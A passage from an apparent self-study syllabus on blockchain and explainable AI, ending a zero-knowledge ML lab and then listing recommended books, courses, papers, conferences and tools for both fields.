    function commit(bytes32 i, bytes32 m, bytes32 e) external {
        emit Committed(i, m, e);
    }
}
```

Anyone can later verify (off-chain) that a published SHAP matches the committed hash.

Step 7 — Reflect

In your journal:

- Time and gas costs at each step.
- What would change to scale to ResNet-50? (Hint: orders of magnitude more constraints.)
- What's the trust model? Who verifies what?
- What's missing for **provable** explanations (vs only provable inference)?

Deliverable

- `net.pt`, `net.onnx`, `settings.json`, `proof.json`, `Verifier.sol`.
- Sepolia tx hash of the successful verification.
- Sepolia tx hash of the `Registry.commit()` call.
- 2-page write-up.

Stretch

- Use **Risc Zero** instead of EZKL: write the inference as Rust + tract, generate STARK.
- Implement a tiny SHAP computation inside the zk circuit (very hard; this is open research).
- Benchmark proving time as you scale the MLP hidden dim from 32 → 128 → 512.
- Add input privacy: hide the MNIST image, prove only the *class*.

Books — The Permanent Shelf

Books worth owning (paper or PDF) for both fields. Listed by track, then priority.

Blockchain — must-own

1. **Bitcoin and Cryptocurrency Technologies** — Narayanan, Bonneau, Felten, Miller, Goldfeder. Free PDF. The most rigorous Bitcoin textbook ever written.
 2. **Mastering Bitcoin (2nd ed)** — Andreas Antonopoulos. Practical reference; chapters on UTXO, scripts, addresses are gold.
 3. **Mastering Ethereum** — Antonopoulos & Wood. Practical companion for EVM, Solidity, smart contract security.
 4. **A Graduate Course in Applied Cryptography** — Dan Boneh & Victor Shoup. *Free PDF*. The crypto reference. Read chapters 5, 12, 13, 18.
 5. **Introduction to Modern Cryptography (3rd ed)** — Katz & Lindell. The standard graduate textbook. Heavier on formal definitions.
 6. **Building Bitcoin in C** — Brandon Williams. (If you really want to feel the metal.)
 7. **Mastering Blockchain** — Imran Bashir. Broad survey including Hyperledger, Corda — useful for enterprise context.
 8. **DeFi and the Future of Finance** — Campbell Harvey et al. Lecture-book companion; concise.
 9. **Radical Markets** — Posner & Weyl. Quadratic voting, Harberger taxes — mechanism-design foundation for DAO research.
 10. **The Infinite Machine** — Camila Russo. Narrative history of Ethereum; great context for protocol decisions.
 11. **Programming Bitcoin** — Jimmy Song. Build a Bitcoin client from scratch in Python. Highly recommended hands-on.
 12. **The Art of Bitcoin** — Various — protocol-level deep dives via Bitcoin Optech newsletter archives.
-

XAI — must-own

1. **Interpretable Machine Learning** — Christoph Molnar. *Free online*. The canonical XAI textbook. Re-read it twice.
2. **Explanatory Model Analysis** — Biecek & Burzykowski. *Free online*. Tabular-focused; pairs well with Molnar.

3. **The Book of Why** — Judea Pearl & Dana Mackenzie. Causal-inference intuition for anyone touching counterfactuals.
 4. **Causal Inference in Statistics: A Primer** — Pearl, Glymour, Jewell. Formal but readable.
 5. **Causal Inference: What If** — Hernán & Robins. *Free PDF*. Epidemiologist's perspective; the standard.
 6. **Trustworthy Machine Learning** — Kush Varshney. *Free online*. Spans XAI, fairness, robustness, privacy.
 7. **Fairness and Machine Learning** — Barocas, Hardt, Narayanan. *Free online*. Definitive fairness textbook.
 8. **Pattern Recognition and Machine Learning** — Bishop. Bayesian baseline; needed to read XAI papers fluently.
 9. **Deep Learning** — Goodfellow, Bengio, Courville. *Free online*. Reference for the neural-net building blocks XAI methods explain.
 10. **Probabilistic Machine Learning: Advanced Topics** — Kevin Murphy. Bayesian XAI roots; influence functions, etc.
-

Cross-cutting

- **The Mythical Man-Month** — Brooks. Engineering wisdom.
 - **High Output Management** — Grove. For when you start collaborating.
 - **Designing Data-Intensive Applications** — Kleppmann. Distributed-systems intuition for blockchain.
 - **The Elements of Statistical Learning** — Hastie, Tibshirani, Friedman. *Free PDF*.
 - **An Introduction to Statistical Learning** — James, Witten, Hastie, Tibshirani. *Free PDF*. Friendlier.
-

Suggested reading order (12 weeks)

Week	Blockchain	XAI
1–2	Narayanan Ch 1–3	Molnar Ch 1–4
3–4	Narayanan Ch 4–7	Molnar Ch 5–7
5–6	Mastering Bitcoin Ch 5–8	Molnar Ch 8 (SHAP/LIME); Pearl: Book of Why
7–8	Mastering Ethereum Ch 6–9	Molnar Ch 9 (counterfactuals); Causal Primer
9–10	Boneh/Shoup Ch 5, 18	Hardt fairness textbook
11–12	Programming Bitcoin (project)	Distill Circuits + Anthropic write-ups

Top Web Courses — Curated, Ranked, with Notes

This is the synthesis we used to design this entire syllabus. If you want to **supplement** a particular module, jump to a course matching it.

Blockchain — top free/online courses

Foundational

Course	Provider	Why
Bitcoin and Cryptocurrency Technologies	Princeton (Coursera + book)	The single best deep dive into Bitcoin. Free textbook. Narayanan, Bonneau, Felten, Miller, Goldfeder.
MIT 15.S08 — Blockchain and Money	MIT OCW	Gary Gensler's lectures. Business + tech + policy.
CS251 — Cryptocurrencies and Blockchain Technologies	Stanford	Dan Boneh. Strongest crypto-focused syllabus.
Berkeley CS294-164 — Blockchain Technology	Berkeley	Research seminar; reading list is gold.
Coursera Blockchain Specialization	University at Buffalo	Hands-on Solidity + Truffle.

Smart contracts / Ethereum

Course	Provider	Why
CryptoZombies	Loom Network	Best Solidity onboarding game.
Patrick Collins — Smart Contract Developer (Cyfrin / Updraft)	YouTube + cyfrin.io	The de facto modern Solidity bootcamp. Free.
Alchemy University	Alchemy	Modules across Ethereum dev, security, ZK.
ConsenSys Academy Bootcamp	ConsenSys	Career-track, in-depth, paid.
Speedrun Ethereum	Scaffold-ETH (BuidlGuidl)	Project-based mastery; do all challenges.

Zero-Knowledge

Course	Provider	Why
ZK MOOC (CS251A)	Stanford / Berkeley (Boneh, Goldberg, Wahby)	Definitive ZK course online. zk-learning.org
0xPARC ZK Learning	0xPARC	Hands-on Circom, applications
Programming ZK Apps with Noir	Aztec	Modern, friendly
RareSkills ZK Bootcamp	RareSkills	Paid, well-regarded
Vitalik's Quadratic Arithmetic Programs from Zero	blog	Hand-derived ZK; brilliant for intuition

DeFi & advanced

Course	Provider	Why
a16z Crypto Startup School	a16z (free)	Founder-focused, breadth
Token Engineering Academy	TEA	Cryptoeconomics + mechanism design
WTF Academy	Wang Xiaofei	Best Mandarin + bilingual Solidity track
OpenZeppelin Learn	OpenZeppelin	Security-focused tutorials

XAI — top free/online courses

Foundational

Course	Provider	Why
Interpretable Machine Learning	Christoph Molnar (book, free online)	The canonical XAI textbook. Read cover-to-cover.
Kaggle — Machine Learning Explainability	Kaggle	4-hour micro-course; hands-on SHAP/PDP/permutation
DeepLearning.AI — AI Explainability short courses	DLAI	Modular; recent additions on LLM interp
Stanford CS329T — Trustworthy ML	Stanford	Includes XAI, fairness, robustness
Harvard CS282BR — Topics in Interpretability	Harvard	Research-style; readings are excellent
CMU 10-718 — Machine Learning in Practice	CMU	Practical XAI modules

Mechanistic interpretability (the hot frontier)

Course	Provider	Why
Neel Nanda — Mechanistic Interpretability Quickstart Guide	neelnanda.io	The single-best entry point. Free.
ARENA (Alignment Research Engineer Accelerator)	LessWrong / Apollo Research	6-week intensive; TransformerLens + IOI + SAEs
MATS (ML Alignment & Theory Scholars)	MATS Program	Selective; produces frontier researchers
Anthropic Transformer Circuits Thread	Anthropic	Living research blog; foundational reading
Distill.pub Circuits Thread	Distill (archived)	Visual classics — start here

Causal / counterfactual XAI

Course	Provider	Why
Causal Inference for The Brave and True	Matheus Facure (free book)	Best practical primer
Brady Neal — Introduction to Causal Inference	bradyneal.com	Video course
Pearl, Glymour, Jewell — Causal Inference in Statistics: A Primer	Wiley book	Definitive

Fairness / FAccT

Course	Provider	Why
Berkeley CS294 — Fairness in ML	Berkeley	Solid academic intro
FairLearn / AI Fairness 360 docs	Microsoft / IBM	Tool-grounded
fairmlbook.org	Barocas, Hardt, Narayanan	The textbook

Domain-specific XAI

Course	Provider	Why
MITx 6.S897 — ML for Healthcare	MIT	Includes clinical XAI sections
Coursera AI for Medicine Specialization	DLAI / Pranav Rajpurkar	Practical, vision-heavy
FAccT workshops & tutorials	annual	Best venue to learn FAccT-flavor XAI

Intersection courses

These either don't exist standalone or are very new:

- **ZK MOOC + Anthropic Interpretability** — assembling the intersection yourself is, today, table stakes.
 - **EZKL workshops** (occasional, see ezkl.xyz).
 - **Modulus Labs talks** (YouTube).
 - **0xPARC ZKML reading group** archives.
 - **a16z Crypto + AI track** — keep an eye on their content.
-

YouTube channels worth subscribing to

Blockchain

- *EatTheBlocks*
- *Smart Contract Programmer*
- *Patrick Collins / Cyfrin*
- *Whiteboard Crypto* (intro)
- *Justin Drake* (Ethereum protocol)
- *David Hoffman / Bankless* (industry)
- *Finematics* (DeFi)

XAI / interpretability

- *Yannic Kilcher* (paper walkthroughs)
 - *AI Coffee Break with Letitia*
 - *Neel Nanda*
 - *Anthropic* (occasional talks)
 - *Distill.pub archive* (text but cited heavily)
 - *Christoph Molnar* (when he posts)
-
-

Twitter / X follow list (XAI + Blockchain)

- @vitalikbuterin, @drakefjustin, @sreeramkannan (blockchain protocol)
- @VitalikButerin's blog (vitalik.eth.limo) is essentially a free MS course
- @neelnanda5, @ch402 (Chris Olah), @AnthropicAI (interpretability)
- @CynthiaRudin, @christophmolnar (XAI)
- @hima_lakkaraju (XAI + HCI)
- @rajpurkar (medical AI XAI)
- @ezkl_xyz, @modulus_labs (ZKML)

Build a list, scan weekly.

Conferences to attend / livestream

- **DevConnect / DevCon** (Ethereum) — annual
- **EthCC, ETH Denver, ETHGlobal hackathons**

- **ZKProof Workshop** (annual)
- **AFT (Advances in Financial Technologies)**
- **IEEE S&P, USENIX Security, CCS**
- **NeurIPS, ICML, ICLR** — XAI workshops attached
- **FAccT** (ACM Fairness, Accountability, and Transparency)
- **BlackBoxNLP** (workshop at EMNLP/ACL)

--	--	--

--	--	--

Curated Paper List

Single-source-of-truth list of the most-cited and most-important papers across both tracks. Organized by topic.

Blockchain — foundational

- Nakamoto (2008) — *Bitcoin: A Peer-to-Peer Electronic Cash System*
- Lamport, Shostak, Pease (1982) — *The Byzantine Generals Problem*
- Fischer, Lynch, Paterson (1985) — *Impossibility of Distributed Consensus with One Faulty Process*
- Castro, Liskov (1999) — *Practical Byzantine Fault Tolerance*
- Buterin (2013) — *Ethereum White Paper*
- Wood (2014) — *Ethereum Yellow Paper*
- Garay, Kiayias, Leonardos (2015) — *The Bitcoin Backbone Protocol*

Consensus algorithms

- Eyal, Sirer (2014) — *Majority Is Not Enough: Bitcoin Mining Is Vulnerable*
- Heilman et al. (2015) — *Eclipse Attacks on Bitcoin's P2P Network*
- Sompolinsky, Zohar (2015) — *Secure High-Rate Transaction Processing in Bitcoin*
- Kiayias et al. (2017) — *Ouroboros*
- Chen, Micali (2017) — *Algorand*
- Yin et al. (2019) — *HotStuff*
- Buchman, Kwon, Milosevic — *Tendermint / The Latest Gossip on BFT Consensus*
- Buterin, Griffith (2017) — *Casper FFG*
- Miller et al. (2016) — *HoneyBadger BFT*
- Rocket et al. — *Avalanche / Snowman*
- Yakovenko (2018) — *Solana: Proof of History*
- Danezis et al. (2022) — *Narwhal & Tusk*
- Spiegelman et al. (2022) — *Bullshark*
- Olshansky et al. (2024) — *Mysticeti*

Scalability & rollups

- Poon, Dryja (2016) — *Lightning Network*
- Buterin (2021) — *An Incomplete Guide to Rollups* (blog)
- Al-Bassam, Sonnino, Buterin (2018) — *Fraud and Data Availability Proofs*
- Kalodner et al. (2018) — *Arbitrum*
- *EIP-4844 Proto-Danksharding*
- *Celestia whitepaper*
- *Polygon AggLayer documentation*
- *OP Stack technical specs*

Cryptography & ZK

- Goldwasser, Micali, Rackoff (1985) — *The Knowledge Complexity of Interactive Proof Systems*
- Groth (2016) — *On the Size of Pairing-Based NIZK Arguments*
- Ben-Sasson et al. (2018) — *Scalable, Transparent, Post-Quantum Computational Integrity (STARK)*
- Gabizon, Williamson, Ciobotaru (2019) — *PLONK*
- Bowe, Grigg, Hopwood (2019) — *Halo*
- Kothapalli, Setty, Tzialla (2022) — *Nova*
- Bünz et al. (2020) — *Recursive Proof Composition without a Trusted Setup*
- Boneh et al. — *KZG Polynomial Commitments* (talks + papers)

DeFi

- Adams et al. (2021) — *Uniswap v3 Core*
- Egorov (2019) — *StableSwap (Curve)*
- Daian et al. (2020) — *Flash Boys 2.0*
- Qin, Zhou, Gervais (2022) — *Quantifying Blockchain Extractable Value*
- Werner et al. (2022) — *SoK: Decentralized Finance*
- Klages-Mundt, Minca (2020) — *(In)stability for the Blockchain*
- Lo, Verma (2021) — *DeFi Protocols for Loanable Funds*

Security

- Atzei, Bartoletti, Cimoli (2017) — *Survey of Attacks on Ethereum Smart Contracts*
- Mehar et al. (2019) — *Understanding a Revolutionary and Flawed Grand Experiment: The DAO Attack*
- Rekt.news postmortem corpus (web)
- Trail of Bits, OpenZeppelin, ConsenSys Diligence — published audit reports
- Daian et al. (2020) — *Flash Boys 2.0*

Governance, tokenomics

- Buterin (2017) — *Notes on Blockchain Governance*
 - Posner, Weyl (2018) — *Radical Markets*
 - Buterin, Hitzig, Weyl (2019) — *A Flexible Design for Funding Public Goods*
 - Fritsch, Müller, Wattenhofer (2022) — *Analyzing Voting Power in Decentralized Governance*
-

XAI — foundational

- Lipton (2016) — *The Mythos of Model Interpretability*
- Doshi-Velez, Kim (2017) — *Towards a Rigorous Science of Interpretable ML*
- Miller (2019) — *Explanation in AI: Insights from the Social Sciences*
- Rudin (2019) — *Stop Explaining Black Box ML for High-Stakes Decisions*
- Adadi, Berrada (2018) — *Peeking Inside the Black-Box*
- Guidotti et al. (2018) — *A Survey of Methods for Explaining Black Box Models*

- Arrieta et al. (2020) — *Explainable AI (XAI): Concepts, Taxonomies, Opportunities*
- Rudin et al. (2022) — *Interpretable ML: Fundamental Principles and 10 Grand Challenges*

Feature attribution

- Ribeiro, Singh, Guestrin (2016) — *LIME*
- Lundberg, Lee (2017) — *SHAP*
- Lundberg et al. (2020) — *From Local to Global with TreeSHAP*
- Aas, Jullum, Løland (2021) — *SHAP with Dependent Features*
- Shrikumar, Greenside, Kundaje (2017) — *DeepLIFT*
- Bach et al. (2015) — *LRP*
- Sundararajan, Taly, Yan (2017) — *Integrated Gradients*
- Erion et al. (2021) — *Expected Gradients*
- Smilkov et al. (2017) — *SmoothGrad*
- Selvaraju et al. (2017) — *Grad-CAM*
- Petsiuk, Das, Saenko (2018) — *RISE*
- Ribeiro, Singh, Guestrin (2018) — *Anchors*
- Slack et al. (2020) — *Fooling LIME and SHAP*
- Koh, Liang (2017) — *Influence Functions*

Counterfactual & recourse

- Wachter, Mittelstadt, Russell (2017) — *Counterfactual Explanations Without Opening the Black Box*
- Mothilal, Sharma, Tan (2020) — *DiCE*
- Poyiadzi et al. (2020) — *FACE*
- Karimi et al. (2022) — *Survey of Algorithmic Recourse*
- Dhurandhar et al. (2018) — *Contrastive Explanations / Pertinent Positives & Negatives*
- Verma, Dickerson, Hines (2024) — *Counterfactual Explanations Review*

Concept-based

- Kim et al. (2018) — *TCAV*
- Ghorbani et al. (2019) — *ACE*
- Bau et al. (2017) — *Network Dissection*
- Koh et al. (2020) — *Concept Bottleneck Models*
- Chen et al. (2019) — *ProtoPNet (This Looks Like That)*
- Fel et al. (2023) — *CRAFT*

Mechanistic interpretability

- Olah et al. (2017–2020) — *Distill Circuits* thread
- Elhage et al. (2021) — *A Mathematical Framework for Transformer Circuits*
- Olsson et al. (2022) — *In-Context Learning and Induction Heads*
- Wang et al. (2022) — *Indirect Object Identification Circuit*
- Meng et al. (2022) — *ROME: Locating and Editing Factual Associations in GPT*
- Conmy et al. (2023) — *ACDC: Automated Circuit Discovery*
- Bricken et al. (2023) — *Towards Monosemanticity*

- Templeton et al. (2024) — *Scaling Monosemanticity*
- Cunningham et al. (2024) — *Sparse Autoencoders Find Interpretable Features*
- Marks et al. (2024) — *Sparse Feature Circuits*

Attention / transformer interpretability

- Jain, Wallace (2019) — *Attention Is Not Explanation*
- Wiegrefe, Pinter (2019) — *Attention Is Not Not Explanation*
- Abnar, Zuidema (2020) — *Quantifying Attention Flow*
- Chefer, Gur, Wolf (2021) — *Transformer Interpretability Beyond Attention Visualization*
- Hewitt, Liang (2019) — *Designing and Interpreting Probes with Control Tasks*
- Belrose et al. (2023) — *Tuned Lens*

Evaluation

- Adebayo et al. (2018) — *Sanity Checks for Saliency Maps*
- Hooker et al. (2019) — *ROAR*
- Yeh et al. (2019) — *(In)fidelity and Sensitivity of Explanations*
- DeYoung et al. (2020) — *ERASER*
- Krishna et al. (2022) — *Disagreement Problem*
- Hedström et al. (2023) — *Quantus*

HCI / user studies

- Bansal et al. (2021) — *Does the Whole Exceed Its Parts?*
- Poursabzi-Sangdeh et al. (2021) — *Manipulating and Measuring Model Interpretability*
- Vasconcelos et al. (2022) — *Explanations Can Reduce Overreliance*
- Bussone, Stumpf, O'Sullivan (2015) — *Role of Explanations on Trust in CDSS*
- Turpin et al. (2023) — *Language Models Don't Always Say What They Think*
- Hoffman et al. (2018) — *Metrics for Explainable AI*

Domain-specific

- Caruana et al. (2015) — *Intelligible Models for HealthCare (pneumonia)*
- DeGrave, Janizek, Lee (2021) — *Shortcuts in COVID-19 Radiograph Detection*
- Tonekaboni et al. (2019) — *What Clinicians Want*
- Chouldechova (2017) — *Fair Prediction with Disparate Impact*
- Kleinberg, Mullainathan, Raghavan (2016) — *Inherent Trade-Offs in Fair Risk Scores*

ZKML / Verifiable AI

- Liu, Xie, Zhang (2021) — *zkCNN*
- Lee et al. (2023) — *EZKL*
- Modulus Labs reports
- Kang et al. — *ZKML benchmarks (various)*
- Bonawitz et al. (2017) — *Secure Aggregation for Federated Learning*

Reading workflow recommendation

1. Read **one foundational** paper from each track per week.
2. Skim **three frontier** papers per week (read abstract, intro, conclusion, figures).
3. Maintain a **paper-card** for each (Zettelkasten style):
 - Problem
 - Method (one paragraph)
 - Result (key numbers)
 - Limitation
 - One follow-up question
4. After 3 months you will have ~50 cards — enough for a meaningful research-direction decision.

Tools & Libraries — A Practitioner's Stack

Pick one tool per row; the alternatives are listed in priority order.

Blockchain dev

Need	Tool
Local EVM dev	Foundry (anvil, forge, cast) > Hardhat
Bitcoin testing	bitcoind regtest
Block explorer / API	Etherscan, Beaconcha.in, Mempool.space
Indexing	The Graph, Subsquid, Goldsky
RPC	Alchemy, Infura, QuickNode, Public RPCs (Llama Nodes)
Wallet (dev)	Metamask, Rabby, Frame
Hardware wallet	Ledger, Trezor, GridPlus, Keystone
Multisig	Safe (formerly Gnosis Safe)
Solidity static analysis	Slither
Solidity fuzzing	Echidna, Foundry invariants
Symbolic execution	Mythril, Halmos
Formal verification	Certora, KEVM, Halmos
Subgraph dev	Graph CLI
L2 dev	op-stack, Arbitrum SDK, zkSync CLI, Scroll, StarkNet CLI
MEV research	Flashbots mev-inspect, Libmev

ZK tools

Need	Tool
Circuit DSL (intermediate)	Circom
Circuit DSL (modern)	Noir (Aztec)
STARK-native circuits	Cairo (StarkWare)
Halo2 circuits	Halo2 (Zcash)

ZK virtual machines	Risc Zero, SP1 (Succinct), Jolt, Nexus, Zeth
ML inference proofs	EZKL, Modulus, Giza, DDKang/zkml
Recursion / folding	Nova, HyperNova, ProtoStar implementations
Trusted setup	Powers of Tau (Ethereum KZG ceremony reuse)

ML / XAI libraries

Need	Tool
Deep learning	PyTorch (primary), JAX, TensorFlow
Tabular ML	XGBoost, LightGBM, CatBoost, scikit-learn
Interpretable tabular	InterpretML (EBM), pyGAM, Linear/Ridge
Feature attribution	SHAP, LIME, Captum (PyTorch), tf-explain
Counterfactuals	DiCE, AlibiExplain, CARLA, OmniXAI
Concept-based	TCAV (Google), CRAFT (Fel)
Saliency for CV	Captum, Grad-CAM++, pytorch-grad-cam
LLM interpretability	TransformerLens, nnsight, SAELens, Neuronpedia
Probing	DiscoLib, custom
Evaluation	Quantus, OpenXAI, ERASER datasets
Fairness	Fairlearn, AIF360, Aequitas
Robustness	CleverHans, Foolbox, AutoAttack

Datasets to know

Tabular XAI staples

Dataset	Use
UCI Adult / German Credit	Tabular fairness + counterfactuals
California Housing	Regression baseline
FICO HELOC	Interpretable credit modeling
COMPAS	Recidivism / fairness debates

Vision

Dataset	Use
ImageNet	Classic CNN attribution
CIFAR-10/100	Quick saliency experiments
Broden	Network Dissection concepts
Caltech-UCSD Birds 200	ProtoPNet baseline

NLP

Dataset	Use
IMDB	Sentiment baseline
SNLI	Reasoning
ERASER suite	Rationale benchmarks
TruthfulQA	Hallucination

Medical

Dataset	Use
MIMIC-III/IV	Clinical EHR
CheXpert / NIH ChestX-ray14	Radiology
HAM10000	Dermatology

Blockchain data

Dataset / API	Use
Dune Analytics	SQL on chain data
Flipside Crypto	Analytics
Etherscan API	Address-level
DefiLlama API	TVL, protocol stats
Allium, Footprint	Enterprise datasets
Token Terminal	Revenue / metrics
Artemis	Cross-chain metrics

Notebooks & monitoring

Need	Tool
Experiment tracking	Weights & Biases, MLflow, Aim
Hyperparameter search	Optuna, Ray Tune
Pipeline orchestration	Prefect, Airflow, DVC
Notebook reproducibility	Papermill, JupyterText
Paper management	Zotero, Obsidian, Roam

"If I had to pick five"

If you can only learn five tools, pick:

- 1. **PyTorch** — the deep-learning lingua franca.
- 2. **SHAP** — most-used XAI library.
- 3. **TransformerLens** — modern interpretability work depends on it.
- 4. **Foundry** — the Solidity dev kit.
- 5. **EZKL** — entry point to ZKML.

Master these five and you can read 90% of the field's papers and reproduce most experiments.